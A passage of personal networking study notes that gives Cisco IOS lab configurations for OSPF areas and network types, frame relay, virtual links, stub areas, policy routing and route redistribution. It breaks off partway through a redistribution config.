Configuration ### Difference between E1 and E2 E1 = increment their metric (used if their is more than one way out the network - out of ASBR) E2 = do not increment their metric ### Basic OSPF Configuration [ospf-basic-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ospf-basic-configuration.zip) ![ospf basic configuration](_images/ospf-basic-configuration.png) **Router 1** ``` text R1(config)#int g0/0 R1(config-if)#ip add 172.30.0.1 255.255.255.0 R1(config-if)#no shut R1(config)#ip route 172.16.0.0 255.255.255.0 null0 R1(config)#ip route 172.16.1.0 255.255.255.0 null0 R1(config)#ip route 172.16.2.0 255.255.255.0 null0 R1(config)#ip route 172.16.3.0 255.255.255.0 null0 R1(config)#router ospf 1 R1(config-router)#net 172.30.0.1 0.0.0.0 area 0 R1(config-router)#router-id 1.1.1.1 R1(config-router)#redistribute static subnets metric 200 metric-type 2 R1(config-router)#summary-address 172.16.0.0 255.255.252.0 R1(config-router)#auto-cost reference-bandwidth 1000 R1(config-router)#do wr ``` **Router 2** ``` text R2(config)#int g0/0 R2(config-if)#ip add 172.30.0.2 255.255.255.0 R2(config-if)#ip ospf priority 0 R2(config-if)#no shut R2(config-if)#int s1/0 R2(config-if)#ip add 172.30.10.2 255.255.255.0 R2(config-if)#band 500 R2(config-if)#no shut R2(config-if)#router ospf 1 R2(config-router)#network 172.30.0.2 0.0.0.0 area 0 R2(config-router)#router-id 2.2.2.2 R2(config-router)#network 172.30.10.2 0.0.0.0 area 10 R2(config-router)#area 10 range 10.10.0.0 255.255.252.0 R2(config-router)#auto-cost reference-bandwidth 1000 R2(config-router)#do wr ``` **Router 3** ``` text R3(config)#int g0/0 R3(config-if)#ip add 172.30.0.3 255.255.255.0 R3(config-if)#ip ospf priority 0 R3(config-if)#no shut R3(config-if)#int s1/0 R3(config-if)#ip add 172.30.20.3 255.255.255.0 R3(config-if)#band 500 R3(config-if)#no shut R3(config)#router ospf 1 R3(config-router)#router-id 3.3.3.3 R3(config-router)#net 172.30.0.3 0.0.0.0 area 0 R3(config-router)#net 172.30.20.3 0.0.0.0 area 20 R3(config-router)#area 20 range 10.20.0.0 255.255.252.0 R3(config-router)#auto-cost reference-bandwidth 1000 R3(config-router)#do wr ``` **Router 4** ``` text R4(config)#int s1/0 R4(config-if)#ip add 172.30.20.4 255.255.255.0 R4(config-if)#no shut R4(config-if)#band 500 R4(config-if)#int lo1 R4(config-if)#ip add 10.20.0.1 255.255.255.0 R4(config-if)#int lo2 R4(config-if)#ip add 10.20.1.1 255.255.255.0 R4(config-if)#int lo3 R4(config-if)#ip add 10.20.1.1 255.255.255.0 R4(config-if)#ip add 10.20.2.1 255.255.255.0 R4(config-if)#int lo4 R4(config-if)#ip add 10.20.3.1 255.255.255.0 R4(config)#router ospf 1 R4(config-router)#router-id 4.4.4.4 R4(config-router)#network 10.0.0.0 0.255.255.255 area 20 R4(config-router)#network 172.30.20.4 0.0.0.0 area 20 R4(config-router)#auto-cost reference-bandwidth 1000 R4(config-router)#do wr ``` **Router 5** ``` text R5(config)#int s1/0 R5(config-if)#ip add 172.30.10.5 255.255.255.0 R5(config-if)#band 500 R5(config-if)#no shut R5(config-if)#int lo1 R5(config-if)#ip add 10.10.0.1 255.255.255.0 R5(config-if)#ip ospf network point-to-point R5(config-if)#int lo2 R5(config-if)#ip add 10.10.1.1 255.255.255.0 R5(config-if)#int lo3 R5(config-if)#ip add 10.10.2.1 255.255.255.0 R5(config-if)#int lo4 R5(config-if)#ip add 10.10.3.1 255.255.255.0 R5(config)#router ospf 1 R5(config-router)#router-id 5.5.5.5 R5(config-router)#network 10.10.0.0 0.0.255.255 area 10 R5(config-router)#network 172.30.10.5 0.0.0.0 area 10 R5(config-router)#auto-cost reference-bandwidth 1000 R5#wr ``` ## Advanced Configuration ### OSPF Network Types - Broadcast, multi-access networks - Example: Ethernet, token ring - Single operation mode - DR/BDR election, 10 sec. hellos, DUAL multicast add. - Point-to-Point networks - Example: T/ Cas, ISDN BRI/PRI - Single operation mode - No DR/BDR, 10 sec. hellos, single multicast add. - Non-Broadcast Multi-access (NBMA) networks - Ex: Frame-relay, ATM - Five modes of operation - Non-broadcast (NBMA) - RFC standard - Point-to-Point - RFC standard - Point-to-Point - CISCO proprietary - Broadcast - CISCO proprietary - Point-to-Multipoint, non-broadcast - CISCO proprietary ### Non-Broadcast Mode - Default mode for x.25, FR, ATM - Neighbours statically configured - Must be one subnet - Acts like a LAN environment - DR/BDR elected (must have full connectivity!) ### Point-to-Multipoint Mode - Fixes issues with NMBA - Requires single subnet - No DR/BDR elected - Neighbours automatically form (must be able to send pseudo-broadcasts sent over 224.0.0.5) ### Point-to-Point Mode - Uses separate sup-interfaces - Requires different subnets - No DR/BDR elected - Neighbours automatically form ### OSPF Advanced Configuration [ospf-advanced-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ospf-advanced-configuration.zip) ![ospf advanced configuration](_images/ospf-advanced-configuration.png) **Router 1** ``` text R1(config-router)#int lo0 R1(config-if)#ip add 1.1.1.1 255.255.255.0 R1(config-if)#ip ospf network point-to-point R1(config)#int s1/0 R1(config-if)#encap frame-relay R1(config-if)#no shut R1(config-if)#int s1/0.1 R1(config-if)#int s1/0.1 multi R1(config-subif)#ip add 10.12.3.1 255.255.255.0 R1(config-subif)#frame-relay map ip 10.12.3.2 102 R1(config-subif)#frame-relay map ip 10.12.3.3 103 R1(config)#router ospf 1 R1(config-router)#network 10.12.3.0 0.0.0.255 area 0 R1(config-router)#network 1.1.1.1 0.0.0.0 area 0 R1(config-router)#neighbor 10.12.3.2 pri 0 R1(config-router)#neighbor 10.12.3.3 pri 0 R1(config-router)#router-id 1.1.1.1 R1(config-router)#do wr ``` **Router 2** ``` text R2(config)#int lo1 R2(config-if)#ip add 2.2.2.2 255.255.255.0 R2(config)#int s1/0 R2(config-if)#encap frame-relay R2(config-if)#no shut R2(config)#int s1/0.1 multi R2(config-subif)#ip add 10.12.3.2 255.255.255.0 R2(config-subif)#frame-relay interface-dlci 201 R2(config-subif)#ip ospf priority 0 R2(config)#int s1/1 R2(config-if)#encap frame-relay R2(config-if)#no shut R2(config)#int s1/1.1 point-to-point R2(config-subif)#ip add 10.24.0.2 255.255.255.0 R2(config-subif)#frame-relay interface-dlci 204 R2(config)#router ospf 1 R2(config-router)#network 10.12.3.0 0.0.0.255 area 0 R2(config-router)#network 10.24.0.2 0.0.0.0 area 24 R2(config-router)#network 2.2.2.2 0.0.0.0 area 0 R2(config-router)#router-id 2.2.2.2 R2(config-if)#do wr ``` **Router 3** ``` text R3(config-if)#int lo0 R3(config-if)#ip add 3.3.3.3 255.255.255.0 R3(config)#int s1/0 R3(config-if)#encap frame-relay R3(config-if)#no shut R3(config)#int s1/0.1 multi R3(config-subif)#ip add 10.12.3.3 255.255.255.0 R3(config-subif)#frame-relay interface-dlci 301 R3(config-subif)#ip ospf pri 0 R3(config-subif)#router ospf 1 R3(config-router)#router-id 3.3.3.3 R3(config-router)#network 10.12.3.0 0.0.0.255 area 0 R3(config-router)#network 10.35.6.3 0.0.0.0 area 356 R3(config-router)#network 3.3.3.3 0.0.0.0 area 0 R3(config)#int s1/1 R3(config-if)#encap frame-relay R3(config-if)#no shut R3(config)#int s1/1.1 multi R3(config-subif)#ip add 10.35.6.3 255.255.255.0 R3(config-subif)#frame-relay map ip 10.35.6.5 305 R3(config-subif)#frame-relay map ip 10.35.6.6 306 R3(config-subif)#ip ospf hello-interval 30 R3(config)#int s1/1 R3(config-if)#do wr ``` **Router 4** ``` text R4(config)#int s1/0 R4(config-if)#encap frame-relay R4(config-if)#no shut R4(config-if)#int s1/0 R4(config)#int s1/0.1 point-to-point R4(config-subif)#ip add 10.24.0.4 255.255.255.0 R4(config-subif)#frame-relay interface-dlci 402 R4(config-fr-dlci)#int lo1 R4(config)#int lo0 R4(config-if)#ip add 4.4.4.4 255.255.255.0 R4(config)#router ospf 1 R4(config-router)#router-id 4.4.4.4 R4(config-router)#network 10.24.0.0 0.0.0.255 area 24 R4(config-router)#network 4.4.4.4 0.0.0.0 area 24 R4(config-router)#int lo0 R4(config)#int s1/0 R4(config-if)#encap frame-relay R4(config-if)#no shut R4(config)#int s1/0.1 point-to-point R4(config-subif)#ip add 10.24.0.4 255.255.255.0 R4(config-subif)#frame-relay interface-dlci 402 ``` **Router 5** ``` text R5(config)#int s1/0 R5(config-if)#encap frame-relay R5(config-if)#no shut R5(config)#int s1/0.1 multipoint R5(config-subif)#ip ospf hello-interval 10 R5(config-subif)#ip add 10.35.6.5 255.255.255.0 R5(config-subif)#frame-relay interface-dlci 503 R5(config-subif)#router ospf 1 R5(config-router)#router-id 5.5.5.5 R5(config-router)#net 5.5.5.5 0.0.0.0 area 356 R5(config-router)#net 10.35.6.0 0.0.0.255 area 356 R5(config)#int lo0 R5(config-if)#ip add 5.5.5.5 255.255.255.0 R5(config)#do wr ``` **Router 6** ``` text Router 6 R6(config)#int s1/0 R6(config-if)#encap frame-relay R6(config-if)#no shut R6(config-if)#int s1/0.1 multi R6(config-subif)#ip ospf hello-interval 10 R6(config-subif)#frame-relay interface-dlci 603 R6(config-fr-dlci)#ip add 10.35.6.6 255.255.255.0 R6(config)#int lo0 R6(config-if)#ip add 6.6.6.6 255.255.255.0 R6(config)#router ospf 1 R6(config-router)#router-id 6.6.6.6 R6(config-router)#net 10.35.6.6 0.0.0.0 area 356 R6(config-router)#net 6.6.6.6 0.0.0.0 area 356 R6(config)#do wr ``` **Frame Relay Switch 1** ``` text FRS1(config)#frame-relay switch FRS1(config)#int s1/0 FRS1(config-if)#encap frame-relay FRS1(config-if)#frame-relay intf-type dce FRS1(config-if)#frame-relay route 102 int s1/1 201 FRS1(config-if)#frame-relay route 103 int s1/2 301 FRS1(config-if)#no shut FRS1(config-if)#int s1/1 FRS1(config-if)#encap frame-relay FRS1(config-if)#frame-relay intf-type dce FRS1(config-if)#frame-relay route 201 int s1/0 102 FRS1(config-if)#no shut FRS1(config-if)#int s1/2 FRS1(config-if)#encap frame-relay FRS1(config-if)#frame-relay intf-type dce FRS1(config-if)#frame-relay route 301 int s1/0 103 FRS1(config-if)#no shut FRS1(config-if)#do wr ``` **Frame Relay Switch 2** ``` text FRS2(config)#int s1/0 FRS2(config)#frame-relay switch FRS2(config)#int s1/0 FRS2(config-if)#encap frame-relay FRS2(config-if)#frame-relay intf-type dce FRS2(config-if)#frame-relay route 204 int s1/1 402 FRS2(config-if)#no shut FRS2(config-if)#int s1/1 FRS2(config-if)#encap frame-relay FRS2(config-if)#frame-relay route 402 int s1/0 204 FRS2(config-if)#frame-relay intf-type dce FRS2(config-if)#no shut FRS2(config-if)#do wr ``` **Frame Relay Switch 3** ``` text FRS3(config)#frame-relay switch FRS3(config)#int s1/0 FRS3(config-if)#encap frame-rela FRS3(config-if)#frame-relay intf-type dce FRS3(config-if)#frame-relay route 305 int s1/1 503 FRS3(config-if)#frame-relay route 306 int s1/2 603 FRS3(config-if)#no shut FRS3(config-if)#int s1/2 FRS3(config-if)#encap frame-relay FRS3(config-if)#frame-relay route 603 int s1/0 306 FRS3(config-if)#frame-relay intf-type dce FRS3(config-if)#no shut FRS3(config)#int s1/1 FRS3(config-if)#encap frame FRS3(config-if)#encap frame-relay FRS3(config-if)#frame-relay intf-type dce FRS3(config-if)#frame-relay route 503 int s1/0 305 FRS3(config-if)#no shut FRS3(config-if)#do wr ``` ## OSPF Area Types and Options ### OSPF Areas and Router Types Link state advertisements (LSAS) are the building blocks of OSPF; many types exist - LSA type 1: router LSA - LSA type 2: network LSA (DR generated) - LSA type 3: summary LSA (ABR summary route) - LSA type 4: summary LSA (ASBR location) - LSA type 5: external LSA (ASBR summary route) ### Virtual Links [ospf-virtual-links.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ospf-virtual-links.zip) ![ospf virtual links](_images/ospf-virtual-links.png) **Router 1** ``` text R1(config)#int s1/0 R1(config-if)#ip add 10.2.0.2 255.255.255.0 R1(config-if)#no shut R1(config-if)#router ospf 1 R1(config-router)#net 10.2.0.0 0.0.0.255 area 2 R1(config-router)#router-id 1.1.1.1 R1(config-router)#do wr ``` **Router 2** ``` text R2(config)#router ospf 1 R2(config-router)#router-id 2.2.2.2 R2(config)#int s1/0 R2(config-if)#ip add 10.1.0.2 255.255.255.0 R2(config-if)#router ospf 1 R2(config-router)#net 10.1.0.0 0.0.0.255 area 1 R2(config-router)#area 1 virtual-link 3.3.3.3 R2(config-router)#int s1/0 R2(config-if)#no shut R2(config-if)#int s1/1 R2(config-if)#ip add 10.2.0.1 255.255.255.0 R2(config-if)#no shut ``` **Router 3** ``` text R3(config)#int s1/0 R3(config-if)#ip add 10.0.0.2 255.255.255.0 R3(config-if)#no shut R3(config-if)#int s1/1 R3(config-if)#ip add 10.1.0.1 255.255.255.0 R3(config-if)#no shut R3(config-if)#router ospf 1 R3(config-router)#router-id 3.3.3.3 R3(config-router)#network 10.0.0.0 0.0.0.255 R3(config-router)#network 10.0.0.0 0.0.0.255 area 0 R3(config-router)#network 10.1.0.0 0.0.0.255 area 1 R3(config-router)#int s1/1 R3(config)#router ospf 1 R3(config-router)#area 1 virtual-link 2.2.2.2 ``` **Router 4** ``` text R4(config)#int s1/0 R4(config-if)#ip add 10.0.0.1 255.255.255.0 R4(config-if)#no shut R4(config-if)#router ospf 1 R4(config-router)#router-id 4.4.4.4 R4(config-router)#network 10.0.0.0 0.0.0.255 area 0 R4(config-if)#do wr ``` ### Stub and Totally Stubby Areas - Stubby Area: blocks type 5 LSA from entering - Totally stubby Area: blocks type 3, 4, and 5 LSAs from entering (CISCO proprietary) - Not-So Stubby Area (NSSA): passes external routes through via type 7  LSAs; these convert back to type 5 once they reach the backbone [ospf-stub-and-totally-stubby-areas.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ospf-stub-and-totally-stubby-areas.zip) ![ospf stub and totally stubby areas](_images/ospf-stub-and-totally-stubby-areas.png) **Router 1** ``` text R1(config)#int s1/0 R1(config-if)#ip add 10.10.2.2 255.255.255.0 R1(config-if)#no shut R1(config-if)#router ospf 1 R1(config-router)#router-id 1.1.1.1 R1(config-router)#net 10.10.2.0 0.0.0.255 R1(config-router)#net 10.10.2.0 0.0.0.255 area 2 R1(config-router)#area 2 stub R1#wr ``` **Router 2** ``` text R2(config)#int s1/1 R2(config-if)#ip add 10.10.2.1 255.255.255.0 R2(config-if)#no shut R2(config-if)#int s1/0 R2(config-if)#ip add 10.10.0.3 255.255.255.0 R2(config-if)#no shut R2(config-if)#router ospf 1 R2(config-router)#router-id 2.2.2.2 R2(config-router)#net 10.10.2.0 0.0.0.255 area 2 R2(config-router)#net 10.10.0.0 0.0.0.255 area 0 R2(config-router)#do wr ``` **Router 4** ``` text R4(config)#int s1/0 R4(config-if)#ip add 10.10.0.4 255.255.255.0 R4(config-if)#no shut R4(config-if)#int s1/1 R4(config-if)#ip ad 10.10.1.1 255.255.255.0 R4(config-if)#no shut R4(config-if)#router ospf 1 R4(config-router)#router-id 4.4.4.4 R4(config-router)#net 10.10.0.0 0.0.0.255 area 0 R4(config-router)#net 10.10.1.0 0.0.0.255 area 1 R4(config-router)#area 1 stub no-summary R4(config-router)#do wr ``` **Router 5** ``` text R5(config)#int s1/0 R5(config-if)#ip add 10.10.1.2 255.255.255.0 R5(config-if)#no shut R5(config-if)#router ospf 1 R5(config-router)#router-id 5.5.5.5 R5(config-router)#net 10.10.1.0 0.0.0.255 area 1 R5(config-router)#area 1 stub R5(config-router)#area 1 nssa R5#wr ``` ### OSPF Special Areas [ospf-stub-lab.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/ospf-stub-lab.zip) ![ospf stub lab](_images/ospf-stub-lab.png) **Router 1** ``` text R1(config)#int g0/0 R1(config-if)#ip add 10.100.1.1 255.255.255.0 R1(config-if)#no shut R1(config-if)#router ospf 1 R1(config-router)#net 10.100.1.0 0.0.0.255 area 0 R1(config-router)#router-id 1.1.1.1 R1(config)#ip route 172.31.0.0 255.255.255.0 null0 R1(config)#ip route 172.31.1.0 255.255.255.0 null0 R1(config)#ip route 172.31.2.0 255.255.255.0 null0 R1(config)#ip route 172.31.3.0 255.255.255.0 null0 R1(config-router)#redistribute static subnets metric-type 1 metric 50 R1(config-router)#passive-interface default R1(config-router)#no passive-interface g0/0 R1(config-router)#int g0/0 R1(config-if)#ip ospf authentication message-digest R1(config-if)#ip ospf message-digest-key 1 md5 cisco ``` **Router 2** ``` text R2(config)#int g0/0 R2(config-if)#ip add 10.100.1.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#int s1/0 R2(config-if)#ip add 10.23.1.0 255.255.255.0 Bad mask /24 for address 10.23.1.0 R2(config-if)#ip add 10.23.1.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#router ospf 1 R2(config-router)#router-id 2.2.2.2 R2(config-router)#net 10.100.1.0 0.0.0.255 area 0 R2(config-router)#net 10.23.1.0 0.0.0.255 area 23 R2(config-router)#passive-interface default R2(config-router)#no passive-interface g0/0 R2(config-router)#no passive-interface s1/0 R2(config-router)#area 23 stub no-summary R2(config-router)#int g0/0 R2(config-if)#ip ospf authentication message-digest R2(config-if)#ip ospf message-digest-key 1 md5 cisco R2(config-if)#ip ospf authentication-key cisco ``` **Router 3** ``` text R3(config)#int s1/0 R3(config-if)#ip add 10.23.1.0 255.255.255.0 Bad mask /24 for address 10.23.1.0 R3(config-if)#no shut R3(config-if)#int lo0 R3(config-if)#ip add 172.30.0.1 255.255.255.0 R3(config-if)#int lo1 R3(config-if)#ip add 172.30.1.1 255.255.255.0 R3(config-if)#int lo2 R3(config-if)#ip add 172.30.1.1 255.255.255.0 R3(config-if)#ip add 172.30.2.1 255.255.255.0 R3(config-if)#int lo3 R3(config-if)#ip add 172.30.3.1 255.255.255.0 R3(config-if)#router ospf 1 R3(config-router)#net 172.30.0.0 0.0.3.255 area 23 R3(config-router)#passive-interface default R3(config-router)#no passive-interface s1/0 R3(config-router)#area 23 stub R3(config-router)#int s1/0 R3(config-if)#ip ospf authentication-key cisco ``` **Router 4** ``` text R4(config)#int g0/0 R4(config-if)#ip add 10.100.1.4 255.255.255.0 R4(config-if)#no shut R4(config-if)#int s1/0 R4(config-if)#ip add 10.45.1.4 255.255.255.0 R4(config-if)#no shut R4(config-if)#router ospf 1 R4(config-router)#router-id 4.4.4.4 R4(config-router)#net 10.100.1.0 0.0.0.255 area 0 R4(config-router)#net 10.45.1.0 0.0.0.255 area 45 R4(config-router)#net 10.45.1.0 0.0.0.255 area 45 R4(config-router)#passive-interface default R4(config-router)#no passive-interface g0/0 R4(config-router)#no passive-interface s1/0 R4(config-router)#int g0/0 R4(config-if)#ip ospf authentication message-digest R4(config-if)#ip ospf message-digest-key 1 md5 cisco R4(config-if)#router ospf 1 R4(config-router)#area 45 stub ``` **Router 5** ``` text R5(config)#int s1/0 R5(config-if)#ip add 10.45.1.5 255.255.255.0 R5(config-if)#no shut R5(config-if)#router ospf 1 R5(config-router)#router-id 5.5.5.5 R5(config-router)#net 10.45.1.0 0.0.0.255 area 45 R5(config-router)#passive-interface default R5(config-router)#no passive-interface s1/0 R5(config-router)#area 45 stub ``` **Router 6** ``` text R6(config)#int g0/0 R6(config-if)#ip add 10.100.1.6 255.255.255.0 R6(config-if)#no shut R6(config-if)#int s1/0 R6(config-if)#ip add 10.67.1.6 255.255.255.0 R6(config-if)#no shut R6(config-if)#router ospf 1 R6(config-router)#router-id 6.6.6.6 R6(config-router)#net 10.100.1.0 0.0.0.255 area 0 R6(config-router)#net 10.67.1.0 0.0.0.255 area 67 R6(config-router)#passive-interface default R6(config-router)#no passive-interface g0/0 R6(config-router)#no passive-interface s1/0 R6(config-router)#area 67 virtual-link 7.7.7.7 R6(config-router)#int g0/0 R6(config-if)#ip ospf authentication message-digest R6(config-if)#ip ospf message-digest-key 1 md5 cisco ``` **Router 7** ``` text R7(config)#int s1/0 R7(config-if)#ip add 10.67.1.7 255.255.255.0 R7(config-if)#no shut R7(config-if)#router ospf 1 R7(config-router)#router-id 7.7.7.7 R7(config-router)#net 10.67.1.0 0.0.0.255 area 67 R7(config-router)#int s1/1 R7(config-if)#ip add 10.78.1.7 255.255.255.0 R7(config-if)#no shut R7(config-if)#router ospf 1 R7(config-router)#net 10.78.1.0 0.0.0.255 area 78 R7(config-router)#passive-interface default R7(config-router)#no passive-interface s1/0 R7(config-router)#no passive-interface s1/1 R7(config-router)#area 67 virtual-link 6.6.6.6 ``` **Router 8** ``` text R8(config)#int s1/0 R8(config-if)#ip add 10.78.1.8 255.255.255.0 R8(config-if)#no shut R8(config-if)#router ospf 1 R8(config-router)#router-id 8.8.8.8 R8(config-router)#net 10.78.1.0 0.0.0.255 area 78 R8(config-router)#passive-interface default R8(config-router)#no passive-interface s1/0 ``` --- # Path Control Source: docs/networking/cisco/routing/path-control.md URL: https://docs.calebsargeant.com/networking/cisco/routing/path-control/ ## What is Policy Routing? Policy Routing: The 'Programming Language' of routing tables ![path control](_images/path-control-1.png) `_docs/path-control.zip` **SW1** ``` text SW1(config)#ip default-gateway 192.168.1.1 SW1(config)#int g0/0 SW1(config-if)#switchport trunk encap dot1q SW1(config-if)#switchport mode trunk SW1(config-if)#no shut ``` **ISP1** ``` text ISP1(config)#ip route 192.168.1.0 255.255.255.0 g0/0 ISP1(config)#int g0/0 ISP1(config-if)#ip add 200.1.1.2 255.255.255.0 ISP1(config-if)#no shut ``` **ISP2** ``` text ISP2(config)#ip route 192.168.1.0 255.255.255.0 g0/0 ISP2(config)#int g0/0 ISP2(config-if)#ip add 201.1.1.2 255.255.255.0 ISP2(config-if)#no shut ISP2(config-if)#do wr ``` **PolicyRouter** ``` text PolicyRouter(config)#int g0/0 PolicyRouter(config-if)#ip add 192.168.1.1 255.255.255.0 PolicyRouter(config-if)#no shut PolicyRouter(config-if)#int g0/1 PolicyRouter(config-if)#ip add 200.1.1.1 255.255.255.0 PolicyRouter(config-if)#no shut PolicyRouter(config-if)#int g0/2 PolicyRouter(config-if)#ip add 201.1.1.1 255.255.255.0 PolicyRouter(config-if)#no shut PolicyRouter(config-if)# PolicyRouter(config-if)#ip access-list extended CLIENT1 PolicyRouter(config-ext-nacl)#permit ip host 192.168.1.20 any PolicyRouter(config-ext-nacl)#exit PolicyRouter(config-if)#ip access-list extended CLIENT2 PolicyRouter(config-ext-nacl)#permit tcp host 192.168.1.21 any eq 443 PolicyRouter(config-ext-nacl)#permit tcp host 192.168.1.21 any eq 23 PolicyRouter(config-ext-nacl)#exit PolicyRouter(config)#route-map POLICY 10 PolicyRouter(config-route-map)#match ip address CLIENT1 PolicyRouter(config-route-map)#set ip next-hop 201.1.1.2 PolicyRouter(config-route-map)#route-map POLICY 20 PolicyRouter(config-route-map)#match ip address CLIENT2 PolicyRouter(config-route-map)#set ip next-hop 200.1.1.2 PolicyRouter(config)#route-map POLICY permit 30 PolicyRouter(config-route-map)#set ip next-hop 201.1.1.2 PolicyRouter(config)#int g0/0 PolicyRouter(config-if)#ip policy route-map POLICY PolicyRouter#sh route-map route-map POLICY, permit, sequence 10 Match clauses: ip address (access-lists): CLIENT1 Set clauses: ip next-hop 201.1.1.2 Policy routing matches: 0 packets, 0 bytes route-map POLICY, permit, sequence 20 Match clauses: ip address (access-lists): CLIENT2 Set clauses: ip next-hop 200.1.1.2 Policy routing matches: 0 packets, 0 bytes route-map POLICY, permit, sequence 30 Match clauses: Set clauses: ip next-hop 201.1.1.2 Policy routing matches: 0 packets, 0 bytes ``` --- # Redistribution Source: docs/networking/cisco/routing/redistribution.md URL: https://docs.calebsargeant.com/networking/cisco/routing/redistribution/ ## Why One Would Use Multiple Protocols 1. The politics of networking 2. Conversion between routing protocols 3. Vendor selection 4. Application/business requirements ## Resolving Redistribution Issue - Passive interfaces - Administrative distance modification - Distribute lists/prefix lists - Route maps/route tagging ## Redistribution Metrics - RIP - Infinite - EIGRP - Infinite - OSPF - 20 - BGP - keeps old metric ## Basic Redistribution Configuration [redistribution-basic-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/redistribution-basic-configuration.zip) ![redistribution basic configuration](_images/redistribution-basic-configuration.png) **Router R1** ``` text R1(config)#router eigrp 100 R1(config-router)#network 10.0.0.0 R1(config-router)#no auto R1(config-router)#int s1/0 R1(config-if)#ip add 10.1.12.1 255.255.255.0 R1(config-if)#no shut R1(config-if)#int lo0 R1(config-if)#ip add 10.1.0.1 255.255.255.0 R1(config-if)#int lo1 R1(config-if)#ip add 10.1.1.1 255.255.255.0 R1(config-if)#int lo2 R1(config-if)#ip add 10.1.2.1 255.255.255.0 R1(config-if)#int lo3 R1(config-if)#ip add 10.1.3.1 255.255.255.0 R1(config-if)#int lo4 R1(config-if)#ip add 10.1.4.1 255.255.255.0 R1(config-if)#int lo5 R1(config-if)#ip add 10.1.5.1 255.255.255.0 R1(config-if)#int lo6 R1(config-if)#ip add 10.1.6.1 255.255.255.0 ``` **Router R2** ``` text R2(config)#router eigrp 100 R2(config-router)#no auto R2(config-router)#net 10.1.12.0 0.0.0.255 R2(config-router)#int s1/0 R2(config-if)#ip add 10.1.12.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#int s1/1 R2(config-if)#ip add 10.1.23.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#router ospf 1 R2(config-router)#net 10.1.23.0 0.0.0.255 area 0 R2(config)#router ospf 1 R2(config-router)#redistribute eigrp 100 subnets R2(config-router)#router eigrp 100 R2(config-router)#redistribute ospf 1 metric 100 100 100 100 100 R2(config-router)#access-list 1 permit 10.1.1.0 0.0.0.255 R2(config)#access-list 1 permit 10.1.3.0 0.0.0.255 R2(config)#access-list 1 permit 10.1.5.0 0.0.0.255 R2(config)#router ospf 1 R2(config-router)#distribute-list 1 out R2(config)#ip prefix-list CALEB permit R2(config)#ip prefix-list CALEB permit 10.0.0.0/8 le 24 R2(config)#route-map FILTER_OSPF_TO_EIGRP R2(config-route-map)#match ip address prefix-list CALEB R2(config-route-map)#router eigrp 100 R2(config-router)#redistribute ospf 1 metric 100 100 100 100 100 route-map FILTER_OSPF_TO_EIGRP ``` **Router R3** ``` text R3(config)#router ospf 1 R3(config-router)#net 10.0.0.0 0.255.255.255 area 0 R3(config-router)#int s1/0 R3(config-if)#ip add 10.1.23.3 255.255.255.0 R3(config-if)#no shut R3(config-if)#int lo0 R3(config-if)#ip add 10.1.7.1 255.255.255.0 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo1 R3(config-if)#ip add 10.1.8.1 255.255.255.0 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo2 R3(config-if)#ip add 10.1.9.1 255.255.255.0 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo3 R3(config-if)#ip add 10.1.10.1 255.255.255.0 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo4 R3(config-if)#ip add 10.1.11.1 255.255.255.0 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo5 R3(config-if)#ip add 10.1.12.1 255.255.255.252 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo6 R3(config-if)#ip add 10.1.12.1 255.255.255.252 R3(config-if)#ip ospf network point-to-point R3(config-if)#int lo7 R3(config-if)#ip add 10.1.12.9 255.255.255.252 R3(config-if)#ip ospf network point-to-point ``` ## Advanced Redistribution Configuration [redistribution-advanced-configuration.zip](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/networking/cisco/routing/_docs/redistribution-advanced-configuration.zip) ![redistribution advanced configuration](_images/redistribution-advanced-configuration.png) **Router R1** ``` text R1(config)#int lo0 R1(config-if)#ip add 10.1.0.1 255.255.255.0 R1(config-if)#int s1/0 R1(config-if)#ip add 10.1.12.1 255.255.255.0 R1(config-if)#no shut R1(config-if)#int s1/1 R1(config-if)#ip add 10.1.13.1 255.255.255.0 R1(config-if)#no shut R1(config-if)#router ospf 1 R1(config-router)#net 10.0.0.0 0.255.255.255 area 0 R1(config-router)#end R1#wr ``` **Router R2** ``` text R2(config)#int s1/0 R2(config-if)#ip add 10.1.24.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#int s1/1 R2(config-if)#ip add 10.1.23.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#int s1/2 R2(config-if)#ip add 10.1.12.2 255.255.255.0 R2(config-if)#no shut R2(config-if)#router ospf 1 R2(config-router)#net 10.1.12.0 0.0.0.255 area 0 R2(config-router)#router eigrp 100 R2(config-router)#net 10.1.24.0 0.0.0.255 R2(config-router)#no auto R2(config-router)#net 10.1.23.0 0.0.0.255 R2(config)#access-list 1 permit 10.4.0.0 0.0.0.255 R2(config)#access-list 1 permit 10.4.1.0 0.0.0.255 R2(config)#access-list 2 permit 10.4.2.0 0.0.0.255 R2(config)#access-list 2 permit 10.4.3.0 0.0.0.255 R2(config)#access-list 3 permit 10.4.4.0 0.0.0.255 R2(config)#route-map EIGRP-TO-OSPF R2(config-route-map)#match ip add 1 R2(config-route-map)#set metric 100 R2(config-route-map)#set tag 10 R2(config)#route-map EIGRP-TO-OSPF permit 20 R2(config-route-map)# match ip address 2 R2(config-route-map)# set metric 200 R2(config-route-map)# set tag 20 R2(config-route-map)#route-map EIGRP-TO-OSPF deny 30 R2(config-route-map)#match ip address 3 R2(config-route-map)# set metric 300 R2(config-route-map)# set tag 30 R2(config-route-map)#route-map EIGRP-TO-OSPF permit 40 R2(config-route-map)# set metric 300 R2(config-route-map)# set tag 30 R2(config-router)#redistribute eigrp 100 subnets route-map EIGRP-TO-OSPF R2(config)#route-map OSPF-TO-EIGRP R2(config-route-map)#set metric 400 20 255 1 